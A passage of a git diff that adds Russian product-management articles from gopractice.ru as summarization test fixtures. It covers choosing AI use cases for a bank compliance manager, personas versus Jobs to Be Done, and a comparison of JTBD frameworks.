бизнеса. Средняя ценность означает, что качество решения точно влияет на бизнес-метрики и стоит экспериментировать с решениями, чтобы понять, как именно AI может повлиять на бизнес-показатели. Высокая ценность означает, что решение на основе AI точно выполнит задачу более эффективно, чем это происходит сейчас. Давайте рассмотрим два примера задач комплаенс-менеджера: Определение сути документа. Определение категории для документа. Задача: в чем суть документа Клиенты могут предоставлять разные типы документов: счета, договоры аренды, сертификаты, коммерческие контракты, лицензии и так далее Для каждой транзакции менеджеру необходимо скачать и открыть все релевантные документы, просмотреть их содержимое и проанализировать важные детали. Например, для выставленного счета важно определить: контрагентов; дату выставления счета и срок платежа; сумму; назначение платежа; условия платежа. На основе этих данных и согласно политике банка менеджер решает, является ли счет действительным. Например, счет должен быть связан с клиентом банка, назначение счета должно соответствовать характеру бизнеса клиента, а внутри документа должны быть правильные даты и валюта платежа. Эта задача занимает очень много времени, потому что документы могут содержать десятки страниц, могут быть плохого качества (например, это может быть просто снимок экрана с рукописным счетом), а на одного клиента может приходиться много документов. Как можно применять AI OCR (оптическое распознавание символов) и распознавание изображений могут использоваться для извлечения текста из отсканированных документов. LLM (большие языковые модели) могут использоваться для извлечения ключевой информации, интерпретации контекста документа, его саммаризации и ответов на вопросы по содержанию документа. Бизнес-ценность Уменьшение времени на выполнение задачи: AI сокращает ручной труд, необходимый для понимания документа. Повышение точности: точное извлечение и саммаризация ключевой информации помогает принимать более обоснованные решения. Средняя ценность: понимание длинных документов занимает значительную часть времени менеджера. Например, 20-страничный контракт может потребовать около пяти минут. AI может сократить это время до менее чем одной минуты, предоставив структурированное саммари документа. Степень риска Средний риск: если AI неправильно интерпретирует информацию, это может привести к неверным выводам и впоследствии неверным действиям менеджера. Задача: определение категории для документа Когда клиент загружает новый документ, менеджеру необходимо определить его категорию. Примеры категорий: счета, договоры аренды, коммерческие контракты, лицензии. Категория будет использоваться для дальнейшей верификации документа, так как каждая категория имеет свои нормативы. Информация о категории вводится в базу данных через специальный веб-интерфейс и хранится для дальнейшего использования. Как можно применять AI Технологии обработки естественного языка (NLP), больших языковых моделей (LLM), оптического распознавания символов (OCR) и распознавания изображений могут использоваться для автоматической классификации документов на основе их содержания. Бизнес-ценность Меньше времени на выполнение задачи: AI сокращает время, затрачиваемое на чтение, сортировку и обработку документов. Низкая ценность: менеджеры могут проводить классификацию почти мгновенно. Степень риска Низкий риск: неправильная классификация может быть исправлена во время ручного ревью. Чтобы улучшить свои навыки в таком анализе, пройдите наш «Симулятор управления ML/AI-проектами». Анализ всех задач Вот сводная таблица для всех основных задач менеджера: Задача Как можно применять AI Бизнес-ценность Степень риска Определение категории для документа Технологии обработки естественного языка (NLP), большие языковые модели (LLM), оптическое распознавание символов (OCR) и технологии распознавания изображений могут быть использованы для автоматической классификации документов на основе их содержания Меньше времени на выполнение задачи: AI сокращает время, затрачиваемое на чтение, сортировку и обработку документов. Низкая ценность: сотрудники могут провести классификацию почти мгновенно. Низкий риск: неправильная классификация может быть исправлена во время ручного ревью. Документ настоящий или поддельный? Модели компьютерного зрения могут анализировать особенности документа для выявления аномалий или признаков мошенничества, которые могут указывать на фальсификацию. Большая точность: улучшение обнаружения мошенничества. Низкая ценность: поддельные документы редкие, достаточно ручной обработки. Низкий риск: ложноположительные результаты могут быть устранены во время ручного ревью. В чем суть документа? OCR и распознавание изображений могут быть использованы для извлечения текста из отсканированных документов. Большие языковые модели (LLM) могут быть использованы для извлечения ключевой информации, интерпретации контекста документа, его саммаризации и ответов по содержанию документа. Меньше времени на выполнение задачи: AI сокращает ручной труд, необходимый для понимания документа. Лучшая точность: точное извлечение и саммаризация ключевой информации помогает принимать более обоснованные решения. Средняя ценность: понимание длинных документов занимает много времени. Средний риск: если AI неправильно интерпретирует информацию, это может привести к неверным выводам и впоследствии неверным действиям менеджера. Как документ связан с бизнесом клиента? Системы AI могут сравнивать детали документа с бизнес-профилями для оценки его релевантности. Большая точность: повышение точности в оценке соответствия. Средняя ценность: понимание длинных документов занимает много времени. Средний риск: AI может ошибочно связать документы с неправильными бизнес-контекстами, что приведет к неверным действиям менеджера. Определение контрагентов в документе Большие языковые модели (LLM) могут извлекать именованные сущности и их роли в документах. Меньше времени на выполнение задачи: AI сокращает необходимость в ручном чтении документов и заполнении форм. Низкая ценность: сотрудникам легко выполнять эту задачу вручную. Средний риск: ошибки в распознавании сущностей могут привести к пропуску критически важных аспектов, влияющих на целостность соблюдения требований банка. Соответствует ли документ нормативным требованиям? Системы AI могут проверять, соответствуют ли документы конкретным требованиям и отраслевым стандартам. Меньше времени на выполнение задачи: AI сокращает ручные усилия, необходимые для анализа документа. Лучшая точность: снижение человеческих ошибок при оценке сложных критериев. Высокая ценность: принятие решений о документе может занять много времени. Высокий риск: неправильная интерпретация нормативных требований может привести к регуляторным рискам для бизнеса. Является ли транзакция ожидаемой для данного типа бизнеса? Модели машинного обучения могут сравнивать параметры транзакции с типичной деятельностью бизнеса. Меньше времени на выполнение задачи: AI сокращает ручной поиск документов и ускоряет рабочий процесс соблюдения требований. Средняя ценность: понимание бизнес-профиля - это затратная по времени деятельность. Средний риск: поскольку AI опирается на исторические данные, он может не предсказать нестандартные, но законные бизнес-практики, потенциально помечая их как подозрительные, что приведет к неверным действиям менеджера. Является ли сумма транзакции типичной для этого вида бизнеса? Модели машинного обучения могут анализировать исторические данные для выявления транзакций, которые отклоняются от установленных норм. Большая точность: ML-модели могут выявлять необычные суммы транзакций. Низкая ценность: базовые автоматические проверки обычно уже есть. Средний риск: AI может пометить нормальные транзакции как подозрительные, если они отклоняются от типичных шаблонов, что приведет к ненужным действиям менеджера. Соответствует ли транзакция данным в документах клиента Детали транзакции могут быть автоматически сопоставлены с соответствующими документами клиента с использованием результатов системы извлечения именованных сущностей. Меньше времени на выполнение задачи: AI сокращает ручной поиск документов и ускоряет рабочий процесс. Средняя ценность: понимание бизнес-профиля требует много времени. Средний риск: AI может неправильно сопоставить транзакции и документы клиентов, что приведет к неверным действиям менеджера. Принятие решения об утверждении или отклонении транзакции Автоматическое утверждение транзакций может базироваться на предопределенных критериях. Более быстрая обработка: AI может автоматизировать рутинное принятие решений, ускоряя утверждение транзакций. Средняя ценность: Базовая система на основе правил обычно уже есть. Высокий риск: Чрезмерная зависимость от принятия решений с помощью AI может уменьшить человеческий контроль и увеличить риск ошибок. Удовлетворенность клиентов может ухудшиться. Запрос дополнительных документов у клиента Автоматизированные системы могут инициировать запросы на дополнительную документацию на основе анализа существующих данных. Более быстрая обработка: Автоматизированные запросы документов оптимизируют взаимодействие и обеспечивают сбор необходимой документации без задержек. Высокая ценность: Чем быстрее процесс для пользователей, тем выше их удовлетворенность. Средний риск: Автоматизированные запросы могут быть инициированы неправильно, что приведет к неудовлетворенности клиентов. Общение с клиентами для объяснения решения по их транзакциям Чат-боты на базе LLM могут обрабатывать рутинные запросы и предоставлять объяснения по поводу решений о транзакциях. Улучшение обслуживания клиентов: Чат-боты на базе AI могут предоставлять мгновенные ответы на запросы клиентов, повышая удовлетворенность и вовлеченность. Высокая ценность: Чем быстрее процесс для пользователей, тем выше их удовлетворенность. Высокий риск: Ответы, сгенерированные AI, могут содержать галлюцинации, неверную информацию, утечку личных данных, отсутствие эмпатии или неадекватно адресовать конкретные проблемы клиентов, потенциально вредя отношениям с клиентами и вызывая юридические риски для бизнеса. Проверка информации о бизнесе клиента во внешних источниках Внешние базы данных и API (например, налоговые записи) могут предоставлять данные для проверки и улучшения информации о клиенте. LLM могут анализировать содержание веб-страниц. Снижение затрат: Автоматизация процесса верификации с помощью AI уменьшает необходимость в обширных ручных проверках и сокращает операционные расходы. Средняя ценность: Ручной процесс занимает много времени. Низкий риск: AI может полагаться на устаревшие или некорректные внешние данные, что приведет к неточным оценкам. Table Plugin Выбор скоупа проекта Решение о том, как и где применять AI, всегда зависит от задачи. Мы рассмотрим базовые критерии для принятия таких решений: Решение задачи должно приносить бизнес-ценность (снижение затрат, увеличение доходов и так далее). Решение на базе AI должно быть технически осуществимо. Риски применения AI не должны быть слишком высоки. Затраты на решение должны быть меньше, чем бизнес-выгоды. Оценка осуществимости AI-решений Решение, скорее всего, может быть реализовано, если: Ваша AI-команда успешно решала аналогичную проблему в прошлом. Конкуренты успешно решили аналогичную проблему с помощью AI. Есть множество статей по этой теме. Есть облачные сервисы, предоставляющие аналогичное решение. Есть открытые библиотеки, предоставляющие аналогичное решение. Доступны все необходимые данные. В некоторых случаях команда может столкнуться с трудностями. Поэтому лучше начать с простых и быстрых прототипов, чтобы лучше понять сложность, затраты и риски. Если доступны внешние инструменты/сервисы/библиотеки, стоит использовать их, чтобы быстро получить представление о потенциальной бизнес-ценности. Анализ затрат Чтобы оценить затраты на AI-решение, учитывайте следующие аспекты: Затраты на вычисления при использовании AI-моделей или облачных сервисов. Усилия AI-команды. Оцените затраты на вычисления за единицу работы. В нашем случае это может быть стоимость обработки одного документа или транзакции. Такая оценка позволит сравнить время и затраты, необходимые для ручной и автоматизированной обработки. Усилия команды будут зависеть от специфики предметной области, квалификации команды и наличия готовых решений. Опирайтесь на опыт команды: если она ранее работала с подобными проблемами, ожидания относительно результатов будут более реалистичными. Давайте применим эту логику к нашим примерам. Задача: в чем суть документа Выполнение задачи должно приносить бизнес-ценность само по себе независимо от AI: ожидается средняя ценность – выполнения задачи потребует меньшего времени, а точность может быть выше . AI-решения осуществимы и могут принести улучшения для бизнеса по сравнению с текущим процессом: легко найти множество примеров подобных решений (распознавание именованных сущностей, саммаризация, OCR). Риски применения AI не слишком велики. Стоимость решения должна быть разумной: затраты на вычисления могут быть очень низкими при использовании облачных сервисов. Краткий вывод для этой задачи: мы должны включить ее в скоуп проекта. Задача: определение категории для документа Решение задачи должно приносить бизнес-ценность независимо от того, используется ли AI. Ожидается низкая ценность: сотрудники могут классифицировать документы почти мгновенно. Решение на основе AI осуществимо: легко найти множество примеров подобных решений (классификация документов). Риски применения AI низкие. Стоимость решения должна быть разумной: затраты на вычисления могут быть очень низкими при использовании облачных сервисов. Краткий вывод для этой задачи: мы не должны включать ее в скоуп проекта. Подходящие задачи для проекта Исходя из описанной выше логики, мы можем определить задачи проекта: Определение сути документа. Определение того, как документ связан с бизнесом клиента. Определение того, является ли транзакция ожидаемой для данного типа бизнеса. Определение соответствия транзакции данным в документах клиента. Запрос дополнительных документов от клиентов. Проверка информации о бизнесе клиента во внешних источниках. Что дальше Мы выбрали задачи комплаенс-менеджера, где применение AI выглядит наиболее перспективным. Следующим шагом нужно наметить архитектуру AI-решения. Это критический момент: теперь нам нужно вернуться к комплаенс-менеджерам и определить, как AI-решение будет интегрировано в их текущий веб-интерфейс для достижения максимальной бизнес-ценности. Необходимо понять: Как менеджер будет получать доступ к результатам AI-решения. Как эти результаты будут представлены в интерфейсе. Как будет включен в рабочий процесс фидбек менеджера о результатах, сгенерированных AI. Лучше всего решить эти вопросы до разработки AI-решения, потому что желаемый пользовательский опыт критичен и может формировать основу решения. Например: Если саммари документа слишком длинное и неструктурированное, то это не сэкономит время менеджеров. Лучше заранее посоветоваться с ними, чтобы определить наилучший формат для саммари документов. Если менеджерам приходится ждать обработки документов AI-моделями каждый раз, когда они хотят получить доступ к извлеченной информации, то они потеряют драгоценное время. Лучше обрабатывать документы в фоновом режиме, как только они загружены клиентами. Если менеджеру нужно использовать какую-то незнакомую внешнюю систему (например, Jupyter Notebook) для доступа к извлеченной информации, это может подорвать их мотивацию использовать AI. Лучше интегрировать результаты, сгенерированные AI, непосредственно в веб-приложение, которое используют менеджеры. Если менеджер не может отметить ошибки в результатах, сгенерированных AI, оспорить их или если он не может понять логику принятия решений с помощью AI, то сотрудники не будут доверять такому решению и весь проект может потерпеть неудачу. Резюме Чтобы найти потенциал применения AI, можно использовать простую схему: — Определите задачи в рамках работы — Проанализируйте каждую задачу: оцените потенциальные решения на основе AI; оцените экономические выгоды; оцените риски. Чтобы понять основные задачи, лучше всего провести несколько часов (или дней) со специалистами, которые выполняют эту работу, чтобы наблюдать за их типичными действиями и задавать вопросы. При оценке возможных решений на основе AI стоит использовать все доступные источники, такие как статьи по соответствующим темам, предыдущий опыт AI-команды, мозговой штурм с командой и т. д. При оценке экономической выгоды полезно четко сформулировать, как решение создает ценность для бизнеса и пользователей (увеличение дохода, снижение затрат, уменьшение времени на выполнение задачи и так далее). При оценке экономических выгод и рисков AI-решения используйте приблизительные грейды низкий/средний/высокий с кратким объяснением выбора. Основные критерии выбора скоупа проекта: Решение задачи должно приносить бизнес-ценность. AI-решение должно быть осуществимым. Риски применения AI не должны быть слишком высоки. Затраты на решение должны быть меньше, чем бизнес-выгода. Прежде чем очерчивать архитектуру AI-решения, необходимо понять: как будут получаться результаты AI-автоматизации; как они будут представлены пользователям; как будет обрабатываться обратная связь пользователей о результатах, сгенерированных AI. *** Усилить ваши навыки работы с AI-продуктами вы можете в нашем «Симуляторе управления ML/AI-проектами». * Используемый в материале фреймворк вдохновлен статьей “What Can Machines Learn, and What Does It Mean for Occupations and the Economy?” Эрика Бриньольфссона, Тома Митчелла и Даниэля Рока. Andrew Ng популяризировал его в контексте современного AI. Узнайте больше Все материалы серии об использовании ML/AI в создании продуктов 1. Зачем продакт-менеджеру изучать ML и AI 2. Большие языковые модели: основы для тех, кто хочет строить продукты на их базе 3. Как ML-технологии помогают улучшать Retention продуктов 4. Как найти возможности для применения AI в вашем продукте 5. Базовое руководство для улучшения качества продуктов с LLM 6. Продвинутые методы улучшения качества продуктов с LLM: RAG 7. Почему идеальной ML-модели недостаточно, чтобы построить бизнес вокруг ML 8. Внедрение ML/AI для оптимизации процессов службы поддержки в крупном продукте: разбор кейса 9. AI-cтартапы: продавайте результат работы, а не софт 10. Новый этап развития генеративного AI: что это значит для стартапов и инвесторов? Автор иллюстрации к материалу — Анна Гольде +============== diff --git a/tests/summarization/https___gopractice.ru_product_focus-on-the-job-not-the-customer_.txt b/tests/summarization/https___gopractice.ru_product_focus-on-the-job-not-the-customer_.txt new file mode 100644 index 0000000..989164d --- /dev/null +++ b/tests/summarization/https___gopractice.ru_product_focus-on-the-job-not-the-customer_.txt @@ -0,0 +1,2 @@ +Для некоторых продуктов вы легко можете представить себе портреты целевой аудитории, то есть составить так называемые «персоны». Например, приложение для изучения языка может пригодиться «путешественнику Саше», «экспату Алене» или «поклоннику аниме Мише». Но в ряде случаев такой подход может не сработать. В таком случае верной стратегией будет фокусироваться на работе, которую выполняет продукт, а не портретах целевого пользователя. В этом материале рассмотрим возможности и зоны применимости разных подходов. Автор оригинального материала — Дес Трейнор (Des Traynor), сооснователь Intercom. Мы предлагаем вам прочитать ее адаптированный перевод. *** Метод персон — это инструмент, позволяющий создать общее видение целевого пользователя для всех участников проекта. Имея общее представление о конечном целевом пользователе, можно избежать излишних обсуждений при работе над продуктом. «Персона» отражает то, что вам нужно знать о типичном пользователе вашего приложения, чтобы принимать обоснованные решения на этапе его разработки. Существует ряд рекомендаций того, как лучше всего создавать и применять «персоны» в работе. Ниже приведены два основных принципа. 1. Ничего лишнего: каждый элемент описания «персоны» должен быть отражен в дизайне вашего приложения. Например, если в описании вы укажете, что типичному пользователю 72 года и он часто пишет своим племянникам и племянницам, то значит, вам необходимо заточить приложение под слабовидящего человека с низкими навыками работы с компьютером. 2. Совместная работа: клиент должен участвовать как в исследовании, так и в анализе, связанном с созданием «персон». «Персоны» — это конечный результат большой работы. Метод персон работает хорошо, когда базу пользователей можно разбить на разные группы с разными потребностями. А так бывает не всегда. Создание «персоны» Один из способов создания «персон» — построить график распределения значимых атрибутов пользователей по шкалам и посмотреть, в какие кластеры группируются пользователи. На приведенной выше диаграмме каждый оттенок представляет отдельного пользователя. Я использовал оттенки зеленого и красного соответственно, чтобы выделить кластеры. Такой подход подразумевает два типа пользователей, которых вы бы могли изучить дальше. «Персоны» могут быть бессмысленными Если между всеми вашими пользователями нет определяющих различий, то вы получите бесполезные расплывчатые «персоны»: «16–55 лет», «высшее образование», «хорошее чувство юмора» — и другие бесполезные критерии. Если все ваши знакомые попадают под описание такой «персоны», то вы смело можете от нее отказаться. Плохие «персоны» получаются в двух случаях: Вы провели недостаточно исследований или они проводились плохо. Метод персон вам не подходит. Когда «персоны» ничего не дают Ряд продуктов лучше описывает то, какую работу они выполняют, а не кто ими пользуются. Некоторые продукты покупают люди самых разных профессий, разного происхождения, дохода и уровня компьютерной грамотности. Единственное, что их объединяет, — это работа, на которую они нанимают продукт. В таком случае полезнее будет углубиться в понимание самой работы и того, что создает на нее спрос. Американский ученый и бизнес-консультант Клейтон Кристенсен охарактеризовал такой подход как маркетинг, основанный на работе. В качестве примера из реальной жизни он предлагает рассмотреть сеть быстрого питания, которая хотела продавать больше молочных коктейлей. Сперва компания планировала подробно изучить пользователей и внести изменения на основе демографического анализа, анализа клиентов и психографических переменных. Идея провалилась. Спрос на их молочные коктейли не увеличился, поскольку при анализе самих пользователей не было получено никакой значимой информации. Кристенсен предложил им сосредоточиться на работе, на которую клиенты «нанимают» молочный коктейль. Это, конечно, звучит странно (никто не думает о найме молочного коктейля), но подход породил совершенно новые идеи. Оказалось, что более половины молочных коктейлей «нанимают» для того, чтобы они обеспечили получение калорий и развлечение во время длительной поездки. В этом отношении молочные коктейли конкурировали с бейглами, бананами и протеиновыми батончиками. Молочные коктейли имеют преимущества над энергетическими батончиками и бананами, поскольку их легче есть в машине. Они лучше бейглов, потому что бейглы слишком сухие и от них хочется пить. Они лучше кофе, потому что более сытные и от них не хочется в туалет так быстро. Как только компания осознала это, она смогла внести изменения в рецептуру, которые сделали молочные коктейли лучшим «инструментом» для работы, на которую их нанимают. Клейтон Кристенсен объясняет это в коротком увлекательном ролике. Фокусируйтесь на работе Есть работы, потребность в выполнении которых существует уже давно: Быстро и безопасно доставить посылку из пункта А в пункт Б. Держать всех в курсе обновлений по проекту, в котором они участвуют. Организовать встречу с коллегой, который находится в Сан-Франциско. Фокус на работе помогает смотреть в долгосрочную перспективу. Цезарю часто приходилось выполнять первую работу из списка, и для ее решения он нанимал людей и лошадей. Сегодня эту работу выполняет, например, FedEx, но сама ее суть не изменилась. Кроме того, такой подход помогает распознать настоящих конкурентов. Электронная почта является крупнейшим конкурентом сервисов для управления проектами. Люди «нанимают» электронную почту много раз в день, чтобы держать своих коллег в курсе событий. Для выполнения третьей работы из списка у нас тоже есть несколько кандидатов. В первую очередь это полет эконом-классом и полет бизнес-классом. Оба варианта хороши, но разница в их стоимости довольно существенна. Видеоконференция — альтернатива им обоим, и хотя ее качество сложно сравнить с личной встречей, она почти не подразумевает затрат. Когда «нанимают» приложения? Представьте, что вы сделали снимок. Теперь у вас может возникнуть потребность выполнить несколько разных работ. Вот шесть из них: Сохранить фото, чтобы вы вместе с партнером могли вспомнить момент годы спустя. Посмеяться над фото подруги с друзьями, ведь утром она пожалеет об этом. Сделать копию этого файла в интернете, чтобы я мог давать ссылку на него другим. Сделать физическую копию этой фотографии для бабушки, которая не пользуется компьютером. Сделать фото крутым и интересным. И поделиться им в сети. Отредактировать фото и добавить в мое портфолио, чтобы люди с большей вероятность пригласили меня в качестве фотографа на мероприятие. Для каждой из этих работ вы можете «нанять» следующие продукты: Facebook*, Flickr, iPhoto, Instagram**, 500px. Анализируя выбор конкретного сервиса, вы поймете, что различие здесь заключается в работе, а не в вас. Вы не изменились. Конечно, работы этих продуктов могут частично дублировать друг друга. Так бывает и в жизни, когда работник берет дополнительные задачи и работает сверхурочно в надежде на повышение по службе. Однако по умолчанию основная работа, которую выполняет каждый из этих сервисов, различается. Фокусировка на работе, а не на «персоне», помогает осознать, что такие функции, как устранение красных глаз, изменение размера фотографий, добавление фильтров и т. д., полезны только для определенных работ. Роберт вполне может быть талантливым фотографом, у которого больше камер, чем в казино Лас-Вегаса. Но когда он нанимает Facebook* для публикации фото, его заботит не качество, а люди. Facebook* не создан для того, чтобы передавать качество фотографий. Он выполняет другую работу, давая возможность мгновенно поделиться информацией, чтобы друзья могли увидеть и посмеяться над происходящим. Facebook* выигрывает больше от возможности людям отреагировать на снимок, чем от дотошного сохранения качества фотографий и настроек камеры. Как говорил американский экономист Питер Друкер, бизнес думает, что продает одно, — а клиент покупает совсем другое. Иногда тип клиента определяет работу, которую ему необходимо выполнить. Иногда работа сама по себе является единственным значимым фактором. И порой разницу заметить не так-то просто. Узнайте больше В этом материале предлагаем вам изучить еще один разбор метода персон и фреймворка Jobs to Be Done, который в том числе рассматривает, когда они оба могут работать одновременно. Подробнее о Jobs to Be Done: Перевод программной статьи Клейтона Кристенсена Know Your Customers’ “Jobs to Be Done” — о том, почему важно знать, какую именно задачу хотят решить ваши пользователи. Что такое Jobs to Be Done и как его применять: руководство от соавтора фреймворка Боба Моэсты Как подготовить и провести глубинное интервью. Гайд и шаблоны для JTBD-исследования *Facebook принадлежит Meta (признана в России экстремистской организацией и запрещена) **Instagram принадлежит Meta (признана в России экстремистской организацией и запрещена) +============== diff --git a/tests/summarization/https___gopractice.ru_product_jtbd-the-theory-and-the-frameworks_.txt b/tests/summarization/https___gopractice.ru_product_jtbd-the-theory-and-the-frameworks_.txt new file mode 100644 index 0000000..0873646 --- /dev/null +++ b/tests/summarization/https___gopractice.ru_product_jtbd-the-theory-and-the-frameworks_.txt @@ -0,0 +1,2 @@ +Jobs to Be Done (JTBD) — теория создания и развития продуктов и бизнеса, рассматривающая продукты через призму работы, на которую клиенты их «нанимают». Теория породила множество интерпретаций, некоторые из которых оформились в цельные фреймворки. В этом материале мы подробно рассмотрим основные интерпретации JTBD и созданные на их основе фреймворки: оригинальную теорию Клейтона Кристенсена, фреймворк Demand-Side Sales Боба Моэсты, Outcome-Driven Innovation Тони Ульвика и популярный в русскоязычной среде Advanced Jobs to Be Done Вани Замесина. Мы также разберем их отличия и оценим применимость к разным продуктам и задачам. Содержание История появления разных версий Jobs to Be Done Интерпретации JTBD: краткое сравнение Теория Кристенсена Фреймворк Боба Моэсты Demand-Side Sales Фреймворк Outcome-Driven Innovation Ульвика Фреймворк Advanced Jobs to Be Done Вани Замесина Заключение История появления разных версий Jobs to Be Done «Люди не покупают дрель. Люди покупают отверстие». Так идею о том, что людям нужен результат, а не продукт сформулировал известный американский экономист и профессор Гарвардской школы бизнеса Теодор Левитт. Первым теорию Jobs to Be Done представил широкой публике американский ученый, профессор Гарвардской школы бизнеса и бизнес-консультант Клейтон Кристенсен (Clayton Christensen). Сделал он это в книге “The Innovator’s Solution: Creating and Sustaining Successful Growth” (перевод на русский: «Решение проблемы инноваций в бизнесе. Как создать растущий бизнес и успешно поддерживать его рост»). Сам термин Jobs to Be Done, впрочем, появился уже позднее. В сущности концепция Jobs to Be Done подразумевает, что люди «нанимают» продукты и сервисы для выполнения некой «работы» в их жизни. Как следствие, именно понимание «работ» является наиболее важным аспектом для создания востребованных продуктов. Популяризатором концепции считается именно Клейтон Кристенсен, но ключевым для ее формулирования стал опыт бизнес-консультанта Тони Ульвика (Tony Ulwick). В 1999 году тот поделился с Кристенсеном своим подходом Outcome-Driven Innovation и примерами его применения в реальном бизнесе — эти примеры позднее вошли в книгу профессора. Другой важной фигурой для формирования этой теории стал Боб Моэста (Bob Moesta), который работал над теорией под началом Кристенсена в рамках Гарвардской школы бизнеса. Моэста затем развил эти идеи в собственный фреймворк — Demand-Side Sales. Наличие различных подходов (а Кристенсен, Ульвик и Моэста не были единственными амбассадорами JTBD) привело к одной из главных проблем при разговоре о JTBD — обилию интерпретаций. Каждая из них оперирует одним набором понятий, но дает им разные акценты и определения. В этом материале мы распутаем этот клубок: разберем каждый из подходов по отдельности и определим, для каких продуктов и на какой стадии развития лучше применять каждый из них. Мы ответим на следующие вопросы: — О чем на самом деле оригинальная теория Jobs to Be Done? — Что такое Demand-Side Sales Боба Моэсты? — Что такое Outcome-Driven Innovation Тони Ульвика? — Как, когда и кому применять эти фреймворки? Мы также рассмотрим фреймворк Advanced Jobs to Be Done от Вани Замесина — одного из ключевых популяризаторов JTBD в русскоязычном пространстве. Для начала — краткое сравнение. Интерпретации JTBD: краткое сравнение Важное отступление В англоязычных публикациях JTBD за авторством Кристенсена часто описывается словом «теория» (сам профессор называет ее Jobs Theory — «теория работ»), в то время как наработки Ульвика и Моэсты называют методологией или фреймворком. Действительно, Outcome-Driven Innovation и Demand-Side Sales в большей степени являются практико-ориентированными подходами и предлагают набор конкретных шагов и действий для достижения результата. Оригинальная же теория Кристенсена ближе к теоретическому труду, так как дает концептуальное описание подхода к созданию продуктов на основе JTBD, но не предлагает структурного алгоритма действий: «сначала сделай А, потом Б, затем В». JTBD в понимании Кристенсена — это в первую очередь способ мышления или призма, через которую он предлагает смотреть на клиентов и их потребности, чтобы создавать наиболее востребованные и эффективные продукты. Впрочем, вне зависимости от определений, сам профессор не считает, что теория является менее полезной, чем некий более структурированный фреймворк: Зачастую люди от мира бизнеса относятся к слову «теория» как к чему-то исключительно абстрактному и сугубо академическому. Но это большое заблуждение. Теории, которые объясняют причинно-следственные связи, являются одними из наиболее важных и практически применимых инструментов для бизнес-лидеров. Клейтон Кристенсен, Competing Against Luck Таким образом, чтобы не создавать путаницу, в этом материале мы будем использовать термины «теория» и «концепция» применительно к Jobs to Be Done Клейтона Кристенсена, а термин «фреймворк» — к Demand-Side Sales, Outcome-Driven Innovation и Advanced Jobs to Be Done. Словом «подход» мы будем описывать и оригинальную теорию, и фреймворки. Теория Jobs to Be Done Клейтона Кристенсена: кратко Люди нанимают продукты для выполнения определенной работы в своей жизни. Работа — это действие или набор действий, которые позволяют человеку достичь определенного прогресса в определенном контексте. Необходимость работы обусловлена мотивацией — факторами, которые побуждают человека совершить некоторый прогресс. Именно фокус на мотивации человека и его контексте, а не фичах продукта и демографических характеристиках клиента позволяет создавать успешные продукты. Теория Кристенсена является более стратегической и менее прикладной в сравнении с другими фреймворками. Для кого подходит Подход Кристенсена в равной степени актуален как для b2c-продуктов, так и для b2b; как для крупных продуктов, так и для небольших. Jobs to Be Done Кристенсена в своей сути призывает при создании любых продуктов уделять время детальным исследованиям того, на какую именно работу их продукт нанимают люди — и на основе этого знания помогать им выполнять ее эффективнее. Подход Demand-Side Sales Боба Моэсты: кратко Человека не надо убеждать купить продукт. Спрос на продукт возникает тогда, когда совокупность факторов и жизненных обстоятельств приводит человека к поиску решения проблемы. Поэтому главное — показать ему, что определенный продукт лучшим образом может выполнить работу. А чтобы показать человеку то, что действительно склонит его в сторону продукта, нужно проявить к нему эмпатию и понять его внутренние переживания. Фреймворк Demand-Side Sales в большей степени является прикладным и ориентированным на применение в продажах и маркетинге. Он стимулирует через исследования находить те аспекты продукта, которые в большей степени будут резонировать с клиентами. Для кого подходит Этот фреймворк наиболее актуален для sales-driven продуктов — тех, в которых глубокое понимание мотиваций и эмоционального контекста клиента помогает в формировании маркетинговой и sales-стратегии. Применим для тех компаний, которые развивают продукты итеративно на основе фидбека пользователей. Подход Outcome-Driven Innovation Тони Ульвика: кратко Каждая работа сопровождается множеством промежуточных желаемых результатов (“desired outcomes”). Все вместе эти промежуточные результаты определяют то, насколько эффективен продукт в выполнении работы для человека. Но ни один продукт не выполняет работу идеально абсолютно для всех людей. Все потому, что для разных людей будут приоритетнее разные желаемые результаты. Таким образом, создание эффективного продукта подразумевает поиск определенного сегмента аудитории, которые не до конца удовлетворены существующими решениями. Поиск сегмента, их болей и донесение до них ценности более эффективного решения — залог создания инноваций в бизнесе. Фреймворк Тони Ульвика является наиболее структурированным в сравнении с другим и включает в себя набор конкретных действий для создания востребованных продуктов. Для кого подходит Этот фреймворк больше подходит для крупных компаний с большой линейкой продуктов, а также ресурсами для проведения исследований рынка. Фокус Outcome-Driven Innovation на количественном анализе и структурном подходе к продуктовым инновациям делает его оптимальным для data-driven бизнесов. Фреймворк Advanced Jobs to Be Done Вани Замесина: кратко Этот фреймворк основан на базовых принципах Jobs to Be Done, но дополняет его практическими инструментами: гайдами интервью, алгоритмами решения типичных бизнес-задач, механиками создания ценности, роста конверсии, выхода из прямой конкуренции, вывода продукта на рынок и других. Advanced Jobs to Be Done во многом опирается на принципы того, как работает мозг и психика человека в процессе принятия решения. Через эту призму фреймворк демонстрирует связь между внутренними потребностями человека и теми работами и продуктами, которые он делает и выбирает. Для кого подходит Подходит для большинства B2B и B2C продуктов (новых и уже существующих): как для IT-продуктов, так и для продуктов вне IT индустрии. Не подходит для продуктов, основанных на дофаминовых циклах. Далее разберем каждый из подходов более подробно. Теория Кристенсена Об авторе Клейтон Кристенсен — американский ученый, профессор Гарвардской школы бизнеса и бизнес-консультант. Он известен в продуктовом сообществе прежде всего как автор теории «подрывных инноваций», названной одной из наиболее влиятельных бизнес-идей начала 21 века, а также как один из популяризаторов фреймворка Jobs to Be Done. Особенности подхода Выше мы уже давали определение JTBD, но давайте обсудим концепцию по порядку. Определение Jobs to Be Done Jobs to Be Done — подход, который помогает выявить, зачем на самом деле человек использует тот или иной продукт. Иными словами, на какую «работу» человек «нанимает» продукт. Что такое работа «Работа» — это прогресс, которого хочет добиться человек в конкретных обстоятельствах. Работа не является одним конкретным действием, а подразумевает растянутый во времени процесс, которые приближает человека к достижению прогресса. Что такое прогресс В контексте фреймворка JTBD прогресс — это некоторое изменение в жизни человека. Это не только фактическое выполнение некой работы («я сделал X»), но изменение на эмоциональном уровне («я испытываю гордость, сделав X») и на социальном уровне («я хочу получить одобрение семьи, сделав X»). Роль контекста Работы не возникают из пустоты. Они являются пересечением потребностей, которые всегда существовали в жизни людей, и определенных обстоятельств, в которых эти потребности возникли (контекст). Контекст является ключевым для понимания того, зачем человек выполняет ту или иную работу. Разберем пример. Человек хочет купить дом. Сама по себе эта формулировка малоинформативна до того момента, пока мы не получим ответы на ряд вопросов, которые раскроют контекст такого решения. Что мотивировало человека купить дом? Какие события этому предшествовали? На каком жизненном этапе человек принял такое решение? В каком он финансовом статусе? И так далее. Знание контекста дает гораздо более глубокое 